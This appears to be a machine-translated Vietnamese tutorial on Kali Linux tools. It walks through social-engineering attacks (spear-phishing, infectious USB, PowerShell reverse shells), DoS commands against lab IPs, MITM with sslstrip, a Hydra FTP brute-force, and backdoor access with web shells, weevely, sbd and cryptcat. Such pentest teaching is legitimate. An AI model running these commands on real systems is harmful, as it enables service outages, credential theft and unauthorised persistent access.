Để chạy lệnh từ xa, hãy nhấp vào máy chủ lưu trữ "Được sở hữu". Sau đó, trên lệnh nhấp vào mô-đun mà bạn muốn thực thi, và cuối cùng nhấp vào “Thực thi”.

Đề xuất khai thác Linux

Nó gợi ý những cách khai thác có thể xảy ra với phiên bản phát hành ‘uname -r’ của Hệ điều hành Linux.

Để chạy nó, hãy gõ lệnh sau:

root@kali:/usr/share/linux-exploit-suggester# ./Linux_Exploit_Suggester.pl -k 3.0.0

3.0.0 là phiên bản hạt nhân của Hệ điều hành Linux mà chúng tôi muốn khai thác.

Trong chương này, chúng ta sẽ tìm hiểu về các công cụ pháp y có sẵn trong Kali Linux.

p0f

p0flà một công cụ có thể xác định hệ điều hành của một máy chủ đích chỉ đơn giản bằng cách kiểm tra các gói đã bắt được ngay cả khi thiết bị được đề cập nằm sau tường lửa gói. P0f không tạo thêm bất kỳ lưu lượng mạng nào, trực tiếp hay gián tiếp; không có tra cứu tên; không có tàu thăm dò bí ẩn; không có truy vấn ARIN; không có gì. Trong tay người dùng nâng cao, P0f có thể phát hiện sự hiện diện của tường lửa, sử dụng NAT và sự tồn tại của bộ cân bằng tải.

Kiểu “p0f – h” trong thiết bị đầu cuối để xem cách sử dụng nó và bạn sẽ nhận được kết quả sau.

Nó sẽ liệt kê cả những giao diện có sẵn.

Sau đó, gõ lệnh sau: “p0f –i eth0 –p -o filename”.

Tham số ở đâu "-i" là tên giao diện như hình trên. "-p" có nghĩa là nó đang ở chế độ lăng nhăng. "-o" có nghĩa là đầu ra sẽ được lưu trong một tệp.

Mở trang web có địa chỉ 192.168.1.2

Từ kết quả, bạn có thể thấy rằng Máy chủ web đang sử dụng apache 2.x và Hệ điều hành là Debian.

pdf-parser

pdf-parser là công cụ phân tích cú pháp tài liệu PDF để xác định các yếu tố cơ bản được sử dụng trong tệp pdf được phân tích. Nó sẽ không hiển thị tài liệu PDF. Nó không được khuyến khích cho trường hợp sách văn bản cho trình phân tích cú pháp PDF, tuy nhiên nó sẽ hoàn thành công việc. Nói chung, điều này được sử dụng cho các tệp pdf mà bạn nghi ngờ có tập lệnh được nhúng trong đó.

Lệnh là -

pdf-parser  -o 10 filepath

trong đó "-o" là số đối tượng.

Như bạn có thể thấy trong ảnh chụp màn hình sau, tệp pdf mở một lệnh CMD.

Dumpzilla

Ứng dụng Dumpzilla được phát triển bằng Python 3.x và có mục đích trích xuất tất cả thông tin thú vị về pháp y của trình duyệt Firefox, Iceweasel và Seamonkey để phân tích.

ddrescue

Nó sao chép dữ liệu từ một tệp hoặc thiết bị chặn (đĩa cứng, cdrom, v.v.) sang một tệp khác, cố gắng giải cứu các phần tốt trước trong trường hợp lỗi đọc.

Hoạt động cơ bản của ddrescue là hoàn toàn tự động. Tức là bạn không phải đợi lỗi, dừng chương trình, khởi động lại từ vị trí mới, v.v.

Nếu bạn sử dụng tính năng mapfile của ddrescue, dữ liệu được giải cứu rất hiệu quả (chỉ những khối cần thiết mới được đọc). Ngoài ra, bạn có thể ngắt quá trình cứu hộ bất kỳ lúc nào và tiếp tục lại sau tại cùng một thời điểm. Mapfile là một phần thiết yếu tạo nên hiệu quả của ddrescue. Sử dụng nó trừ khi bạn biết bạn đang làm gì.

Dòng lệnh là -

dd_rescue infilepath  outfilepath

Tham số "–v" nghĩa là dài dòng. "/dev/sdb"là thư mục sẽ được giải cứu. Cácimg file là hình ảnh được phục hồi.

DFF

Nó là một công cụ pháp y khác được sử dụng để khôi phục các tệp. Nó cũng có GUI. Để mở nó, hãy nhập“dff-gui” trong thiết bị đầu cuối và GUI web sau sẽ mở ra.

Nhấp vào Tệp → “Mở Bằng chứng”.

Bảng sau sẽ mở ra. Chọn “Định dạng thô” và nhấp vào “+” để chọn thư mục bạn muốn khôi phục.

Sau đó, bạn có thể duyệt các tệp ở bên trái của ngăn để xem những gì đã được khôi phục.

Trong chương này, chúng ta sẽ tìm hiểu về các công cụ kỹ thuật xã hội được sử dụng trong Kali Linux.

Sử dụng Bộ công cụ Kỹ thuật Xã hội

Các Social-Engineer Toolkit(SET) là một khung kiểm tra thâm nhập mã nguồn mở được thiết kế cho kỹ thuật xã hội. SET có một số vectơ tấn công tùy chỉnh cho phép bạn thực hiện một cuộc tấn công đáng tin cậy trong một phần nhỏ thời gian. Những loại công cụ này sử dụng các hành vi của con người để đánh lừa họ đến các vectơ tấn công.

Hãy tìm hiểu cách sử dụng Bộ công cụ kỹ sư xã hội.

Step 1 - Để mở SET, đi tới Ứng dụng → Công cụ Kỹ thuật Xã hội → Nhấp vào “ĐẶT” Công cụ Kỹ thuật Xã hội.

Step 2- Nó sẽ hỏi bạn có đồng ý với các điều khoản sử dụng hay không. Kiểu“y” như thể hiện trong ảnh chụp màn hình sau.

Step 3 - Hầu hết các menu hiển thị trong ảnh chụp màn hình sau đây là tự giải thích và trong số đó, quan trọng nhất là “Các cuộc tấn công kỹ thuật xã hội” số 1.

Step 4 - Loại “1”→ Nhập. Một menu con sẽ mở ra. Nếu bạn nhấnEnter một lần nữa, bạn sẽ thấy giải thích cho từng menu con.

Mô-đun Spear-phishing cho phép bạn soạn thảo đặc biệt các email và gửi chúng đến các nạn nhân mục tiêu của bạn với FileFormatmalicioustrọng tải. Ví dụ, gửi tài liệu PDF độc hại mà nếu nạn nhân mở, nó sẽ xâm phạm hệ thống. Nếu bạn muốn giả mạo địa chỉ email của mình, hãy chắc chắn rằng “Sendmail” đã được cài đặt (apt-get install sendmail) và thay đổi cờ config / set_config SENDMAIL = OFF thành SENDMAIL = ON.

Có hai lựa chọn cho cuộc tấn công lừa đảo trực tuyến -

  • Thực hiện một cuộc tấn công email hàng loạt
  • Tạo một tải trọng định dạng tệp và một mẫu kỹ thuật xã hội

Cách đầu tiên là để SET làm mọi thứ cho bạn (tùy chọn 1), cách thứ hai là tạo tải trọng FileFormat của riêng bạn và sử dụng nó trong cuộc tấn công của riêng bạn.

Kiểu “99” để quay lại menu chính và sau đó nhập “2” để chuyển đến "Các vectơ tấn công web".

Mô-đun tấn công web là một cách duy nhất để sử dụng nhiều cuộc tấn công dựa trên web để xâm hại nạn nhân dự kiến. Mô-đun này được sử dụng để thực hiện các cuộc tấn công lừa đảo chống lại nạn nhân nếu họ nhấp vào liên kết. Có rất nhiều cuộc tấn công có thể xảy ra khi họ nhấp vào một liên kết.

Kiểu “99” để quay lại menu chính và sau đó nhập “3”.

Mô-đun USB / CD / DVD lây nhiễm sẽ tạo tệp autorun.inf và tải trọng Metasploit. Tệp tải trọng và tự động chạy được ghi hoặc sao chép trên USB. Khi DVD / USB / CD được lắp vào máy của nạn nhân, nó sẽ kích hoạt tính năng chạy tự động (nếu tính năng chạy tự động được bật) và hy vọng sẽ làm tổn hại hệ thống. Bạn có thể chọn vectơ tấn công mà bạn muốn sử dụng: lỗi định dạng tệp hoặc tệp thực thi thẳng.

Sau đây là các tùy chọn cho Máy phát phương tiện truyền nhiễm.

  • Khai thác định dạng tệp
  • Metasploit chuẩn có thể thực thi

Kiểu “99”để quay lại menu chính. Sau đó, gõ“4” để chuyển đến "Các vectơ tấn công web".

Tạo tải trọng và trình nghe là một cách đơn giản để tạo tải trọng Metasploit. Nó sẽ xuất tệp exe cho bạn và tạo một trình nghe. Bạn sẽ cần thuyết phục nạn nhân tải xuống tệp exe và thực thi nó để lấy shell.

Kiểu “99” để quay lại menu chính và sau đó nhập “5” để chuyển đến "Các vectơ tấn công web".

Cuộc tấn công người gửi thư hàng loạt sẽ cho phép bạn gửi nhiều email cho nạn nhân và tùy chỉnh các tin nhắn. Có hai tùy chọn trên e-mailer hàng loạt; đầu tiên là gửi email đến một địa chỉ email duy nhất. Tùy chọn thứ hai cho phép bạn nhập một danh sách có tất cả email của người nhận và nó sẽ gửi tin nhắn của bạn đến bao nhiêu người tùy thích trong danh sách đó.

  • E-Mail Attack Địa chỉ Email Đơn
  • E-Mail Attack Mass Mailer

Kiểu “99” để quay lại menu chính và sau đó nhập “9” để chuyển đến “Powershell Attack Vector”.

Mô-đun Powershell Attack Vector cho phép bạn tạo các cuộc tấn công cụ thể của PowerShell. Các cuộc tấn công này cho phép bạn sử dụng PowerShell, có sẵn theo mặc định trong tất cả các hệ điều hành Windows Vista trở lên. PowerShell cung cấp một bối cảnh hiệu quả để triển khai tải trọng và thực hiện các chức năng không bị kích hoạt bởi các công nghệ phòng ngừa.

  • Powershell đầu phun mã chữ và số
  • Powershell Reverse Shell
  • Powershell Bind Shell
  • Cơ sở dữ liệu SAM của Powershell Dump

Các công cụ gây căng thẳng được sử dụng để tạo ra các cuộc tấn công DoS hoặc tạo kiểm tra căng thẳng cho các ứng dụng khác nhau để có các biện pháp thích hợp cho tương lai.

Tất cả các công cụ kiểm tra căng thẳng được tìm thấy trong Ứng dụng → Phân tích 02-lỗ hổng → Kiểm tra căng thẳng.

Tất cả kiểm tra Stress testing sẽ được thực hiện trên máy metsploitable có IP là 192.168.1.102

Slowhttptest

Slowhttptest là một trong những công cụ tấn công DoS. Nó đặc biệt sử dụng giao thức HTTP để kết nối với máy chủ và giữ cho các tài nguyên bận rộn như CPU ​​và RAM. Chúng ta hãy xem chi tiết cách sử dụng nó và giải thích các chức năng của nó.

Để mở slowhttptest, trước tiên hãy mở thiết bị đầu cuối và nhập “slowhttptest –parameters”.

Bạn có thể nhập “slowhttptest –h” để xem tất cả các tham số mà bạn cần sử dụng. Trong trường hợp bạn nhận được đầu ra, 'Không tìm thấy lệnh', bạn phải nhập trước“apt-get install slowhttptest”.

Sau đó, sau khi cài đặt, hãy gõ lại slowhttptest –h

Gõ lệnh sau:

slowhttptest -c 500 -H -g -o outputfile -i 10 -r 200 -t GET –u 
http://192.168.1.202/index.php -x 24 -p 2

Ở đâu,

  • (-c 500) = 500 kết nối

  • (-H) = Chế độ quay chậm

  • -g = Tạo thống kê

  • -o outputfile = Tên tệp đầu ra

  • -i 10 = Sử dụng 10 giây để đợi dữ liệu

  • -r 200 = 200 kết nối với -t GET = GET yêu cầu

  • -u http://192.168.1.202/index.php = URL đích

  • -x 24 = độ dài tối đa là 24 byte

  • -p 2 = 2 giây thời gian chờ

Khi quá trình kiểm tra bắt đầu, kết quả sẽ được hiển thị trong ảnh chụp màn hình sau đây, nơi bạn có thể nhận thấy rằng dịch vụ khả dụng.

Sau một thời gian, tại kết nối 287, dịch vụ bị ngắt. Điều này có nghĩa là máy chủ có thể xử lý tối đa 287 kết nối HTTP.

Pleaseflood

Mờiflood là một tin nhắn SIP / SDP INVITE tràn ngập trên UDP / IP. Nó thực thi trên nhiều bản phân phối Linux. Nó thực hiện các cuộc tấn công DoS (Từ chối Dịch vụ) chống lại các thiết bị SIP bằng cách gửi nhiều yêu cầu INVITE.

Để mở Mờiflood, trước tiên hãy mở thiết bị đầu cuối và nhập “inviteflood –parameters”

Để được trợ giúp, bạn có thể sử dụng “inviteflood –h”

Tiếp theo, bạn có thể sử dụng lệnh sau:

inviteflood eth0 target_extension  target_domain target_ip number_of_packets

Ở đâu,

  • target_extension là 2000

  • target_domain là 192.168.xx

  • target_ip là 192.168.xx

  • number_of_packets là 1

  • -a là bí danh của tài khoản SIP

Iaxflood

Iaxflood là một công cụ VoIP DoS. Để mở nó, hãy nhập“iaxflood sourcename destinationname numpackets” trong thiết bị đầu cuối.

Để biết cách sử dụng, hãy gõ “iaxflood –h”

thc-ssl-dos

THC-SSL-DOS là một công cụ để xác minh hiệu suất của SSL. Thiết lập kết nối SSL an toàn yêu cầu sức mạnh xử lý trên máy chủ cao hơn 15 lần so với máy khách. THCSSL-DOS khai thác thuộc tính bất đối xứng này bằng cách làm quá tải máy chủ và làm mất mạng Internet.

Sau đây là lệnh -

thc-ssl-dos victimIP httpsport –accept

Trong ví dụ này, nó sẽ là -

thc-ssl-dos 192.168.1.1 443 –accept

Đầu ra của nó sẽ như sau:

Khái niệm cơ bản của các công cụ đánh hơi cũng đơn giản như nghe lén và Kali Linux có một số công cụ phổ biến cho mục đích này. Trong chương này, chúng ta sẽ tìm hiểu về các công cụ đánh hơi và giả mạo có sẵn trong Kali.

Burpsuite

Burpsuite có thể được sử dụng như một công cụ dò tìm giữa trình duyệt của bạn và các máy chủ web để tìm các thông số mà ứng dụng web sử dụng.

Để mở Burpsuite, hãy đi tới Ứng dụng → Phân tích ứng dụng web → burpsuite.

Để thiết lập tính năng đánh hơi, chúng tôi định cấu hình burpsuite hoạt động như một proxy. Để làm điều này, hãy truy cậpOptionsnhư thể hiện trong ảnh chụp màn hình sau. Đánh dấu vào ô như hình.

Trong trường hợp này, IP proxy sẽ là 127.0.0.1 với cổng 8080.

Sau đó cấu hình proxy trình duyệt là IP của máy burpsuite và cổng.

Để bắt đầu đánh chặn, đi tới Proxy → Đánh chặn → nhấp vào “Đánh chặn đang bật”.

Tiếp tục điều hướng trên trang web mà bạn muốn tìm tham số để kiểm tra lỗ hổng.

Trong trường hợp này, đó là máy không thể phù hợp với IP 192.168.1.102

Đi tới “Lịch sử HTTP”. Trong ảnh chụp màn hình sau, dòng được đánh dấu bằng mũi tên màu đỏ hiển thị yêu cầu cuối cùng. Trong Raw, tham số ẩn như ID phiên và các tham số khác như tên người dùng và mật khẩu đã được gạch dưới màu đỏ.

mitmproxy

mitmproxylà một proxy HTTP man-in-the-middle có khả năng SSL. Nó cung cấp một giao diện bảng điều khiển cho phép các luồng lưu lượng được kiểm tra và chỉnh sửa nhanh chóng.

Để mở nó, hãy chuyển đến thiết bị đầu cuối và nhập “mitmproxy -parameter” và để được trợ giúp về các lệnh, hãy nhập “mitmproxy –h”.

Để bắt đầu mitmproxy, hãy nhập “mitmproxy –p portnumber”. Trong trường hợp này, nó là “mitmproxy –p 80”.

Wireshark

Wireshark là một trong những trình phân tích gói dữ liệu tốt nhất. Nó phân tích sâu các gói tin ở mức khung hình. Bạn có thể biết thêm thông tin về Wireshark từ trang web chính thức của họ:https://www.wireshark.org/. Trong Kali, nó được tìm thấy bằng cách sử dụng đường dẫn sau - Ứng dụng → Đánh hơi & Giả mạo → Wirehark.

Khi bạn nhấp vào Wirehark, GUI sau sẽ mở ra.

Nhấp vào “Bắt đầu” và quá trình chụp gói sẽ bắt đầu như thể hiện trong ảnh chụp màn hình sau.

sslstrip

sslstriplà một cuộc tấn công MITM buộc trình duyệt của nạn nhân giao tiếp bằng văn bản thuần túy qua HTTP và các proxy sửa đổi nội dung từ máy chủ HTTPS. Để làm điều này, sslstrip đang "tách" các URL https: // và biến chúng thành các URL http: //.

Để mở nó, hãy đi tới Ứng dụng → 09-Sniffing & Spoofing → Spoofing và MITM → sslstrip.

Để thiết lập nó, hãy viết để chuyển tiếp tất cả giao tiếp cổng 80 tới 8080.

Sau đó, bắt đầu sslstrip lệnh cho cổng cần thiết.

Trong chương này, chúng ta sẽ tìm hiểu về các công cụ bẻ khóa mật khẩu quan trọng được sử dụng trong Kali Linux.

Hydra

Hydra là một trình bẻ khóa đăng nhập hỗ trợ nhiều giao thức để tấn công (Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP (S) -FORM-GET, HTTP (S) -FORM-POST, HTTP (S) -GET, HTTP (S) -HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin , Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1 + v2 + v3, SOCKS5, SSH (v1 và v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC và XMPP) .

Để mở nó, hãy đi tới Ứng dụng → Tấn công bằng mật khẩu → Tấn công trực tuyến → hydra.

Nó sẽ mở bảng điều khiển đầu cuối, như được hiển thị trong ảnh chụp màn hình sau.

Trong trường hợp này, chúng tôi sẽ bắt buộc sử dụng dịch vụ FTP của máy metasploitable có IP 192.168.1.101

Chúng tôi đã tạo trong Kali một danh sách từ có phần mở rộng 'lst' trong đường dẫn usr\share\wordlist\metasploit.

Lệnh sẽ như sau:

hydra -l /usr/share/wordlists/metasploit/user -P 
/usr/share/wordlists/metasploit/ passwords ftp://192.168.1.101 –V

Ở đâu –V là tên người dùng và mật khẩu trong khi thử

Như được hiển thị trong ảnh chụp màn hình sau, tên người dùng và mật khẩu được tìm thấy là msfadmin: msfadmin

Johnny

Johnnylà một GUI cho công cụ bẻ khóa mật khẩu John the Ripper. Nói chung, nó được sử dụng cho các mật khẩu yếu.

Để mở nó, đi tới Ứng dụng → Tấn công bằng mật khẩu → johnny.

Trong trường hợp này, chúng ta sẽ lấy mật khẩu của máy Kali bằng lệnh sau và một tệp sẽ được tạo trên màn hình nền.

Nhấp vào “Mở tệp Passwd” → OK và tất cả các tệp sẽ được hiển thị như trong ảnh chụp màn hình sau.

Nhấp vào "Bắt đầu tấn công".

Sau khi cuộc tấn công hoàn tất, hãy nhấp vào bảng điều khiển bên trái tại “Mật khẩu” và mật khẩu sẽ không bị đánh dấu.

John

johnlà một phiên bản dòng lệnh của Johnny GUI. Để bắt đầu, hãy mở Terminal và nhập“john”.

Trong trường hợp làm mờ mật khẩu, chúng ta cần viết lệnh sau:

root@kali:~# unshadow passwd shadow > unshadowed.txt

Rainbowcrack

Phần mềm RainbowCrack bẻ khóa hàm băm bằng cách tra cứu bảng cầu vồng. Bảng cầu vồng là các tệp thông thường được lưu trữ trên đĩa cứng. Nói chung, bảng Rainbow được mua trực tuyến hoặc có thể được biên dịch bằng các công cụ khác nhau.

Để mở nó, hãy đi tới Ứng dụng → Tấn công bằng mật khẩu → nhấp vào “cầu vồng”.

Lệnh để bẻ khóa mật khẩu băm là:

rcrack path_to_rainbow_tables -f path_to_password_hash

SQLdict

Nó là một công cụ tấn công từ điển cho máy chủ SQL và rất dễ sử dụng và cơ bản. Để mở nó, hãy mở thiết bị đầu cuối và nhập“sqldict”. Nó sẽ mở ra dạng xem sau.

Trong “Máy chủ IP mục tiêu”, hãy nhập IP của máy chủ chứa SQL. Trong "Tài khoản đích", hãy nhập tên người dùng. Sau đó, tải tệp bằng mật khẩu và nhấp vào "bắt đầu" cho đến khi nó kết thúc.

mã băm

Nó là một công cụ được sử dụng để xác định các loại băm, nghĩa là chúng đang được sử dụng để làm gì. Ví dụ: nếu tôi có HASH, nó có thể cho tôi biết đó là HASH của Linux hay windows.

Màn hình trên cho thấy nó có thể là một băm MD5 và có vẻ như một thông tin đăng nhập được lưu vào bộ nhớ cache của Miền.

Trong chương này, chúng ta sẽ thấy các công cụ mà Kali sử dụng để duy trì kết nối và để truy cập vào một máy bị tấn công ngay cả khi nó kết nối và ngắt kết nối một lần nữa.

Powersploit

Đây là công cụ dành cho máy Windows. Nó đã được cài đặt PowerShell trong máy nạn nhân. Công cụ này giúp hacker kết nối với máy của nạn nhân thông qua PowerShell.

Để mở nó, hãy mở terminal ở bên trái và nhập lệnh sau để vào thư mục powersploit -

cd /usr/share/powersploit/

Nếu bạn gõ “ls”nó sẽ liệt kê tất cả các công cụ powersploit mà bạn có thể tải xuống và cài đặt trong máy của nạn nhân sau khi bạn đã có quyền truy cập. Đa số là tên tự giải thích theo tên của mình.

Một cách dễ dàng để tải xuống công cụ này trên máy của nạn nhân là tạo một máy chủ web, mà các công cụ powersploit cho phép tạo dễ dàng bằng cách sử dụng lệnh sau:

python -m SimpleHTTPServer

Sau đó, nếu bạn gõ: http: // <Kali machine ip_address>: 8000 / thì sẽ có kết quả.

Sbd

sbd là một công cụ tương tự như Netcat. Nó có tính di động và có thể được sử dụng trong các máy Linux và Microsoft. sbd có tính năng mã hóa AES-CBC-128 + HMAC-SHA1> Về cơ bản, nó giúp kết nối với máy của nạn nhân bất kỳ lúc nào trên một cổng cụ thể và gửi lệnh từ xa.

Để mở nó, hãy chuyển đến thiết bị đầu cuối và nhập “sbd -l -p port” để máy chủ chấp nhận kết nối.

Trong trường hợp này, chúng ta hãy đặt cổng 44 nơi máy chủ sẽ lắng nghe.

Trên trang của nạn nhân, hãy nhập “sbd IPofserver port”. Một kết nối sẽ được thiết lập để chúng ta có thể gửi các lệnh từ xa.

Trong trường hợp này, nó là "localhost" vì chúng tôi đã thực hiện kiểm tra trên cùng một máy.

Cuối cùng, trên máy chủ, bạn sẽ thấy rằng một kết nối đã xảy ra như được hiển thị trong ảnh chụp màn hình sau.

Trang web

Các trang web có thể được sử dụng để duy trì quyền truy cập hoặc để tấn công một trang web. Nhưng hầu hết chúng đều được phát hiện bởi antivirus. C99 php shell rất nổi tiếng trong số các phần mềm diệt virus. Bất kỳ phần mềm chống vi-rút thông thường nào cũng sẽ dễ dàng phát hiện ra nó là phần mềm độc hại.

Nói chung, chức năng chính của chúng là gửi lệnh hệ thống qua giao diện web.

Để mở nó và nhập “cd /usr/share/webshells/” trong thiết bị đầu cuối.

Như bạn thấy, chúng được chia thành các lớp theo ngôn ngữ lập trình: asp, aspx, cfm, jsp, perl, php

Nếu bạn nhập vào thư mục PHP, bạn có thể thấy tất cả các trang web cho các trang web php.

Để tải trình bao lên máy chủ web, chẳng hạn “simple-backdoor.php” mở trang web và URL của web shell.

Cuối cùng, viết lệnh cmd. Bạn sẽ có tất cả thông tin được hiển thị như trong ảnh chụp màn hình sau.

Weevely

Weevely là một web shell PHP mô phỏng kết nối giống như telnet. Nó là một công cụ để khai thác bài đăng ứng dụng web và có thể được sử dụng như một cửa hậu ẩn hoặc làm trình bao web để quản lý các tài khoản web hợp pháp, ngay cả những tài khoản được lưu trữ miễn phí.

Để mở nó, hãy chuyển đến terminal và nhập "" "để bạn có thể thấy cách sử dụng.

Để tạo shell, hãy nhập “weevely generate password pathoffile”. Như được thấy trong ảnh chụp màn hình sau, nó được tạo trên thư mục "Desktop" và tệp sẽ được tải lên máy chủ web để có quyền truy cập.

Sau khi tải lên web shell như được hiển thị trong ảnh chụp màn hình sau, chúng ta có thể kết nối bằng cmd với máy chủ bằng lệnh “weevely URL password” nơi bạn có thể thấy rằng một phiên đã bắt đầu.

http-tunnel

http-tunnel tạo ra một luồng dữ liệu ảo hai chiều trong các yêu cầu HTTP. Các yêu cầu có thể được gửi qua proxy HTTP nếu muốn. Điều này có thể hữu ích cho người dùng sau tường lửa hạn chế. Nếu quyền truy cập WWW được phép thông qua proxy HTTP, bạn có thể sử dụng http-tunnel và telnet hoặc PPP để kết nối với máy tính bên ngoài tường lửa.

Đầu tiên, chúng ta nên tạo một máy chủ đường hầm bằng lệnh sau:

httptunnel_server –h

Sau đó, trên loại trang web khách hàng “httptunnel_client –h” và cả hai sẽ bắt đầu chấp nhận kết nối.

dns2tcp

Đây lại là một công cụ tạo đường hầm giúp chuyển lưu lượng TCP qua DNS Traffic, có nghĩa là cổng UDP 53.

Để bắt đầu, hãy nhập “dns2tcpd”. Cách sử dụng được giải thích khi bạn mở script.

Trên trang máy chủ, nhập lệnh này để định cấu hình tệp.

#cat >>.dns2tcpdrc
<&l;END listen = 0.0.0.0 
port = 53 user=nobody 
chroot = /root/dns2tcp 
pid_file = /var/run/dns2tcp.pid 
domain = your domain key = secretkey 
resources = ssh:127.0.0.1:22 
END 
#dns2tcpd -f .dns2tcpdrc

Trên trang Khách hàng, nhập lệnh này.

# cat >>.dns2tcprc 
<<END domain = your domain 
resource = ssh 
local_port = 7891 
key = secretkey 
END
# dns2tcpc -f .dns2tcprc 
# ssh root@localhost -p 7891 -D 7076

Quá trình đào hầm sẽ bắt đầu bằng lệnh này.

cryptcat

Nó là một công cụ khác như Netcat cho phép tạo kết nối TCP và UDP với máy nạn nhân theo cách được mã hóa.

Để khởi động máy chủ để lắng nghe kết nối, hãy nhập lệnh sau:

cryptcat –l –p port –n

Ở đâu,

  • -l viết tắt của lắng nghe kết nối

  • -p là viết tắt của tham số số cổng

  • -n viết tắt của việc không phân giải tên

Trên trang web khách hàng, lệnh kết nối là “cryptcat IPofServer PortofServer”

Trong chương này, chúng ta sẽ tìm hiểu về các công cụ thiết kế ngược của Kali Linux.

OllyDbg

OllyDbg là trình gỡ lỗi phân tích cấp trình hợp dịch 32-bit cho các ứng dụng Microsoft Windows. Việc nhấn mạnh vào phân tích mã nhị phân làm cho nó đặc biệt hữu ích trong trường hợp nguồn không có sẵn. Nói chung, nó được sử dụng để crack phần mềm thương mại.

Để mở nó, hãy đi tới Ứng dụng → Kỹ thuật đảo ngược → ollydbg

Để tải một tệp EXE, hãy chuyển đến "Thư mục đang mở" màu vàng, được hiển thị trong một hình vuông màu đỏ trong ảnh chụp màn hình ở trên.

Sau khi tải, bạn sẽ có giao diện sau đây, nơi bạn có thể thay đổi các tệp nhị phân.

dex2jar

Đây là ứng dụng giúp chuyển đổi tệp APK (android) sang tệp JAR để xem mã nguồn. Để sử dụng nó, hãy mở thiết bị đầu cuối và viết”d2j-dex2jar –d /file location”.

Trong trường hợp này, tệp là “classes.dex” trên máy tính để bàn.

Dòng sau cho thấy rằng một tệp JAR đã được tạo.

jd-gui

JD-GUI là một tiện ích đồ họa độc lập hiển thị mã nguồn Java của “.class”các tập tin. Bạn có thể duyệt qua mã nguồn được tạo lại. Trong trường hợp này, chúng tôi có thể tạo lại tệp mà chúng tôi đã trích xuất từ ​​công cụ dex2jar.

Để khởi chạy nó, hãy mở thiết bị đầu cuối và viết “jd-gui” và chế độ xem sau sẽ mở ra.

Để nhập tệp, hãy nhấp vào

biểu tượng thư mục đang mở ở góc trên bên trái, sau đó nhập tệp.

apktool

Apktool là một trong những công cụ tốt nhất để đảo ngược toàn bộ ứng dụng Android. Nó có thể giải mã tài nguyên về dạng gần như ban đầu và xây dựng lại chúng sau khi thực hiện sửa đổi.

Để mở nó, hãy chuyển đến terminal và viết “ apktool”.

Để dịch ngược một tệp apk, hãy viết “apktool d apk file”.

Quá trình giải mã sẽ bắt đầu như trong ảnh chụp màn hình sau.

Trong chương này, chúng ta sẽ tìm hiểu về một số công cụ báo cáo trong Kali Linux.

Dradis

Trong tất cả công việc mà chúng tôi đã thực hiện, điều quan trọng là phải chia sẻ kết quả được tạo ra, theo dõi công việc của chúng tôi, v.v. Vì mục đích này, Kali có một công cụ báo cáo gọi là dradis, một dịch vụ web.

Step 1 - Để khởi động Dradis, gõ “service dradis start”.

Step 2 - Để mở, vào Ứng dụng → Công cụ báo cáo → dradis.

URL web sẽ mở ra. Bất kỳ ai trong mạng LAN đều có thể mở nó trong URL sauhttps://IP của máy kali: 3004

Đăng nhập bằng tên người dùng và mật khẩu được sử dụng lần đầu tiên.

Step 3- Sau khi đăng nhập, bạn có thể nhập các tập tin từ NMAP, NESSUS, NEXPOSE. Để làm như vậy, hãy chuyển đến “Nhập từ tệp” → nhấp vào “nhà nhập khẩu mới (với phản hồi thời gian thực)”.

Step 4- Chọn loại tệp mà bạn muốn tải lên. Trong trường hợp này, đó là “Quét Nessus” → nhấp vào “Duyệt”.

Nếu bạn truy cập trang chủ ngay bây giờ, trên bảng điều khiển bên trái, bạn sẽ thấy rằng các bản quét đã nhập nằm trong một thư mục với chi tiết máy chủ và cổng của chúng.

Metagoofil

Metagoofil thực hiện tìm kiếm trong Google để xác định và tải các tài liệu xuống đĩa cục bộ, sau đó trích xuất siêu dữ liệu. Nó trích xuất siêu dữ liệu của các tài liệu công khai thuộc về một công ty, cá nhân, đối tượng cụ thể, v.v.

Để mở nó, hãy truy cập: “usr/share/metagoofil/”.

Để bắt đầu tìm kiếm, hãy nhập lệnh sau:

python metagoofil.py

Bạn có thể sử dụng các tham số sau với lệnh này:

  • –d (tên miền)

  • –t (loại tệp để tải xuống dox, pdf, v.v.)

  • –l (giới hạn kết quả 10, 100)

  • –n (giới hạn tệp tải xuống)

  • –o (vị trí để lưu tệp)

  • –f (tệp đầu ra)

Ví dụ sau chỉ hiển thị tên miền bị ẩn.